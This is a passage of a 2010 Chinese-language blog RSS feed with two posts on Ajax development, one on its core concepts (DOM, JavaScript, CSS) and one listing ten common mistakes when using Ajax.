	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/dhtml" title="dhtml" rel="tag">dhtml</a>, <a href="http://www.5bay.cn/tag/google" title="google" rel="tag">google</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%96%B0%E6%89%8B" title="新手" rel="tag">新手</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E8%BA%AB" title="自身" rel="tag">自身</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/ajaxeeaoe.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AJAX的各种控件和类库</title>
		<link>http://www.5bay.cn/network-programming/ajax.html</link>
		<comments>http://www.5bay.cn/network-programming/ajax.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:49:49 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[asp.net]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xmlhttp]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[接口]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[节点]]></category>
		<category><![CDATA[获取]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=480</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajax.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Ajax控件和类库现在真的太多了，不知不觉中增加了Ajax的神秘性和复杂性，看到版内很多人为此费解和伤神，决定发此贴谈谈本人对Ajax的观点，希望能让大家对Ajax有一个本质的认识。 　　观点一：Ajax和服务器端技术毫不相关 　　严格的说，与传统web开发相比，Ajax是完完全全的客户端技术。由于很多控件封装了客户端和服务器端的通信过程，因此很多问题也因通信而起。事实上，不论何种Ajax技术，服务器端都是返回的一个纯文本流，再由客户端来处理这个文本。这段文本可以是xml格式，也可以是一个Html片段，也可以是一段JavaScript脚本，或者仅是一个字符串。服务器端仅仅是作为一个数据接口，客户端使用XMLHttpRequest对象来请求这个页面，服务器端在页面内写入结果文本，这个过程和普通的web开发没有任何区别。所不同的只是，客户端在异步获取结果后，不是直接显示在页面，而是由客户端的Javascript脚本处理后再显示在页面。至于各种控件所谓的能返回DataSet对象，Date对象，或者其他的数据类型，都是封装了这个处理过程的结果。 　　观点二：DOM模型是Ajax最本质的技术 　　之所以没有把XMLHttpRequest列为最本质的技术，因为本人觉得它实在是太简单了，它只是可以让浏览器在后台请求一个页面，并将其内容交给JavaScript处理。真正的核心应该是：DOM模型，即文档对象模型。在DOM模型里，Html标记都被认为是一个对象，例如：div对象，table对象等等。DOM模型就规定了这些对象所具有的属性、方法和事件。通过这些性质，可以对一个已经显示于浏览器的页面进行内容的修改，例如增加节点、修改节点位置，删除节点等等。而不仅仅是一个innerHTML属性这么简单，虽然这是一个很有用的属性。 　　观点三：在使用Ajax控件前理解它们的实现 　　使用Ajax控件的确可以提高效率，但如果你空中楼阁般使用控件，那就得不偿失了。从一个控件换到另外一个控件又会有一个漫长的学习曲线。所以应该从底层了解其，况且Ajax实在不是什么高深的技术。其实任何东西的最底层其实都是简单的，但如果封装了这些底层的东西，事情会变得复杂和难以理解。以Asp.net为例，它的定制特性可以使得只要在方法前加上[ajax method]类似这样的标志就可以称为一个异步方法，相信这使得Asp.net的Ajax开发显得更加“高效”或者是“神秘”，而更多的事情则被封装了。同样记住一条，任何对服务器端的请求仅仅是返回纯文本，我们不一定要依赖于封装好的处理过程，而完全可以自己来实现。 　　观点四：学好JavaScript 　　在大多数人看来，JavaScript总不是那么一种正规的语言，随便copy一段就碰巧能运行，学过c之类的人，一看也能看懂，而且在浏览器中常常有脚本错误提示，所以潜意识觉得总不能付之以大任。事实上，要学好Ajax，这就完全是一种错误的看法。javascript作为一种脚本语言，其语法的确不是很严格，但并不妨碍其完成诸多复杂的任务，没有JavaScript，就没有Ajax。所以本人强烈建议，学Ajax前，一定要好好研究一番JavaScript，一般来讲，如果能顺利看懂prototype框架的代码（如：prototype-1.3.1.js），你的JavaScript水平就基本过关了。同时对DOM模型也可以算有一个基本的了解。 　　观点五：Ajax点缀：CSS 　　用JavaScript控制CSS其实很简单，基本上每个DOM对象都有一个style对象，只要把css属性里的”-”去掉，并让随后的字母变为大写就可以作为属性使用了，例如：element.style.backgroundColor=”#f00&#8243;;在css是：选择符 {background-color:#f00} 　　一口气说这么多，希望对大家有点用处。 相关博文2010年07月26日 -- XMLHTTP对象封装技术 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- 了解Ajax中的Get和Post (0)2010年07月26日 -- PHP和Socket简介 (0)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- AJAX初学:IE缓存页面的问题 (0)2010年07月26日 -- ajax基础知识:js事件触发大全 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- [...]]]></description>
			<content:encoded><![CDATA[<p>Ajax控件和类库现在真的太多了，不知不觉中增加了Ajax的神秘性和复杂性，看到版内很多人为此费解和伤神，决定发此贴谈谈本人对Ajax的观点，希望能让大家对Ajax有一个本质的认识。 </p>
<p>　　观点一：Ajax和服务器端技术毫不相关 </p>
<p>　　严格的说，与传统web开发相比，Ajax是完完全全的客户端技术。由于很多控件封装了客户端和服务器端的通信过程，因此很多问题也因通信而起。事实上，不论何种Ajax技术，服务器端都是返回的一个纯文本流，再由客户端来处理这个文本。这段文本可以是xml格式，也可以是一个Html片段，也可以是一段JavaScript脚本，或者仅是一个字符串。服务器端仅仅是作为一个数据接口，客户端使用XMLHttpRequest对象来请求这个页面，服务器端在页面内写入结果文本，这个过程和普通的web开发没有任何区别。所不同的只是，客户端在异步获取结果后，不是直接显示在页面，而是由客户端的Javascript脚本处理后再显示在页面。至于各种控件所谓的能返回DataSet对象，Date对象，或者其他的数据类型，都是封装了这个处理过程的结果。 </p>
<p>　　观点二：DOM模型是Ajax最本质的技术 </p>
<p>　　之所以没有把XMLHttpRequest列为最本质的技术，因为本人觉得它实在是太简单了，它只是可以让浏览器在后台请求一个页面，并将其内容交给JavaScript处理。真正的核心应该是：DOM模型，即文档对象模型。在DOM模型里，Html标记都被认为是一个对象，例如：div对象，table对象等等。DOM模型就规定了这些对象所具有的属性、方法和事件。通过这些性质，可以对一个已经显示于浏览器的页面进行内容的修改，例如增加节点、修改节点位置，删除节点等等。而不仅仅是一个innerHTML属性这么简单，虽然这是一个很有用的属性。 </p>
<p>　　观点三：在使用Ajax控件前理解它们的实现 </p>
<p>　　使用Ajax控件的确可以提高效率，但如果你空中楼阁般使用控件，那就得不偿失了。从一个控件换到另外一个控件又会有一个漫长的学习曲线。所以应该从底层了解其，况且Ajax实在不是什么高深的技术。其实任何东西的最底层其实都是简单的，但如果封装了这些底层的东西，事情会变得复杂和难以理解。以Asp.net为例，它的定制特性可以使得只要在方法前加上[<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">ajax</a> method]类似这样的标志就可以称为一个异步方法，相信这使得Asp.net的Ajax开发显得更加“高效”或者是“神秘”，而更多的事情则被封装了。同样记住一条，任何对服务器端的请求仅仅是返回纯文本，我们不一定要依赖于封装好的处理过程，而完全可以自己来实现。 </p>
<p>　　观点四：学好JavaScript </p>
<p>　　在大多数人看来，JavaScript总不是那么一种正规的语言，随便copy一段就碰巧能运行，学过c之类的人，一看也能看懂，而且在浏览器中常常有脚本错误提示，所以潜意识觉得总不能付之以大任。事实上，要学好Ajax，这就完全是一种错误的看法。javascript作为一种脚本语言，其语法的确不是很严格，但并不妨碍其完成诸多复杂的任务，没有JavaScript，就没有Ajax。所以本人强烈建议，学Ajax前，一定要好好研究一番JavaScript，一般来讲，如果能顺利看懂prototype框架的代码（如：prototype-1.3.1.js），你的JavaScript水平就基本过关了。同时对DOM模型也可以算有一个基本的了解。 </p>
<p>　　观点五：Ajax点缀：<a href="http://www.5bay.cn/tag/css" class="st_tag internal_tag" rel="tag" title="标签 css 下的日志">CSS</a> </p>
<p>　　用JavaScript控制CSS其实很简单，基本上每个DOM对象都有一个style对象，只要把css属性里的”-”去掉，并让随后的字母变为大写就可以作为属性使用了，例如：element.style.backgroundColor=”#f00&#8243;;在css是：选择符 {background-color:#f00} </p>
<p>　　一口气说这么多，希望对大家有点用处。 </p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeetpit.html" title="了解Ajax中的Get和Post ">了解Ajax中的Get和Post </a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeeeseeao.html" title="ajax基础知识:js事件触发大全">ajax基础知识:js事件触发大全</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/asp" title="ASP" rel="tag">ASP</a>, <a href="http://www.5bay.cn/tag/aspnet" title="asp.net" rel="tag">asp.net</a>, <a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/xmlhttp" title="xmlhttp" rel="tag">xmlhttp</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E6%8E%A5%E5%8F%A3" title="接口" rel="tag">接口</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8A%82%E7%82%B9" title="节点" rel="tag">节点</a>, <a href="http://www.5bay.cn/tag/%E8%8E%B7%E5%8F%96" title="获取" rel="tag">获取</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/ajax.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>使用Ajax时的十个常犯的错误</title>
		<link>http://www.5bay.cn/network-programming/eejaxeeeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/eejaxeeeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:49:05 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[dhtml]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[http请求状态]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[status]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xmlhttp]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=478</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>上个月我发现许多Web2.0网站大量运用了ajax，但是其中有些很奇怪，因为他们的速度比起前慢了，并且有时候不起作用（在移动设备上），我总结了十条用Ajax的错误（平台无关） 1、 不要通过把整个页面都放在UpdatePanel中更新整个页面。在你运行网页时需要节省时间，不要更新那些可以用javascript and DHTML (DOM)的部分。 2、 要始终记得有这么几种访问者，他们不能用JavaScript或者用的版本比较老的浏览器或者他们对JavaScript支持不好，比如说移动设备。如果这些都不支持，你的访问者能看到什么？ 3、 在客户端浏览器缓存相同的请求或者在we服务器端执行缓存。最好的例子是自动完成个下拉菜单，他们的填充在任何时刻都是相同的，一个有错误写法的自动完成的写法可以减慢你的Web服务器（数据库服务器），因为那样会有比起以前用IsPostBack更多地请求。想一下不停的按F5刷新你的网页的情形。如果你有层叠的下拉菜单你就会结算更多地请求。 4、 在你运用CSS或JavaScript时，不要运行，并发的或者运行很长时间的Ajax请求，一般的浏览器只能有两个并发的http连接（我知道可以给变这个，但是默认的还是设为两个）。如果在读取图片的时候由很多Ajax请求的话，速度会变得很慢。 5、 什么时候都用异步调用的方法发送XMLHttpRequest.。如果你要用同步的方法也是没有请问题的，你的浏览器不会因为网络问题或是连接速度慢而冻结的 6、 试着让你的web应用使用一个很慢的网络连接，再尝试用快的TCP/IP连接 7、 你的web应用是作为桌面程序的替代品？你注意观察过一般浏览器在运行你的Web应用一小时，两小时或者几天时内存的使用。不是所有人都有你那样好的机器。 8、 检查在你返回XMLHttpRequest时你的http请求状态代码（status code），那会有一些常见的网络错误像是不可获得的DNS，Http Server error 500 ，你曾经检查过状态代码（status code），它可以告诉你浏览器在一个为连接的模式 9、 试着禁止XMLHttpRequest object！用IE7你能用native object代替ActiveX object，但是你也可以禁止native object。 10、检查你AJAX requests的安全性！你简单的打开了你的数据访问层吗？充分运用FormsAuthentication和PrincipalPermissions。是不是任何人都可以建立一个请求（不只是点击一个链接）？ 相关博文2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年05月23日 -- Rsync详解 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年05月23日 -- 《高性能网站建设指南》读书笔记 [...]]]></description>
			<content:encoded><![CDATA[<p>上个月我发现许多Web2.0网站大量运用了ajax，但是其中有些很奇怪，因为他们的速度比起前慢了，并且有时候不起作用（在移动设备上），我总结了十条用Ajax的错误（平台无关）</p>
<p>1、 不要通过把整个页面都放在UpdatePanel中更新整个页面。在你运行网页时需要节省时间，不要更新那些可以用javascript and DHTML (DOM)的部分。</p>
<p>2、 要始终记得有这么几种访问者，他们不能用JavaScript或者用的版本比较老的浏览器或者他们对JavaScript支持不好，比如说移动设备。如果这些都不支持，你的访问者能看到什么？</p>
<p>3、 在客户端浏览器缓存相同的请求或者在we服务器端执行缓存。最好的例子是自动完成个下拉菜单，他们的填充在任何时刻都是相同的，一个有错误写法的自动完成的写法可以减慢你的Web服务器（数据库服务器），因为那样会有比起以前用IsPostBack更多地请求。想一下不停的按F5刷新你的网页的情形。如果你有层叠的下拉菜单你就会结算更多地请求。</p>
<p>4、 在你运用CSS或JavaScript时，不要运行，并发的或者运行很长时间的Ajax请求，一般的浏览器只能有两个并发的http连接（我知道可以给变这个，但是默认的还是设为两个）。如果在读取图片的时候由很多Ajax请求的话，速度会变得很慢。</p>
<p>5、 什么时候都用异步调用的方法发送XMLHttpRequest.。如果你要用同步的方法也是没有请问题的，你的浏览器不会因为网络问题或是连接速度慢而冻结的</p>
<p>6、 试着让你的web应用使用一个很慢的网络连接，再尝试用快的TCP/IP连接</p>
<p>7、 你的web应用是作为桌面程序的替代品？你注意观察过一般浏览器在运行你的Web应用一小时，两小时或者几天时内存的使用。不是所有人都有你那样好的机器。</p>
<p>8、 检查在你返回XMLHttpRequest时你的http请求状态代码（status code），那会有一些常见的网络错误像是不可获得的DNS，Http <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">Server</a> error 500 ，你曾经检查过状态代码（status code），它可以告诉你浏览器在一个为连接的模式</p>
<p>9、 试着禁止XMLHttpRequest object！用IE7你能用native object代替ActiveX object，但是你也可以禁止native object。</p>
<p>10、检查你AJAX requests的安全性！你简单的打开了你的数据访问层吗？充分运用FormsAuthentication和PrincipalPermissions。是不是任何人都可以建立一个请求（不只是点击一个链接）？</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeetpit.html" title="了解Ajax中的Get和Post ">了解Ajax中的Get和Post </a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/tag/dhtml" title="dhtml" rel="tag">dhtml</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/http%E8%AF%B7%E6%B1%82%E7%8A%B6%E6%80%81" title="http请求状态" rel="tag">http请求状态</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/status" title="status" rel="tag">status</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/web20" title="web2.0" rel="tag">web2.0</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/xmlhttp" title="xmlhttp" rel="tag">xmlhttp</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eejaxeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AJAX初学:IE缓存页面的问题</title>
		<link>http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html</link>
		<comments>http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:47:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xmlhttp]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=476</guid>
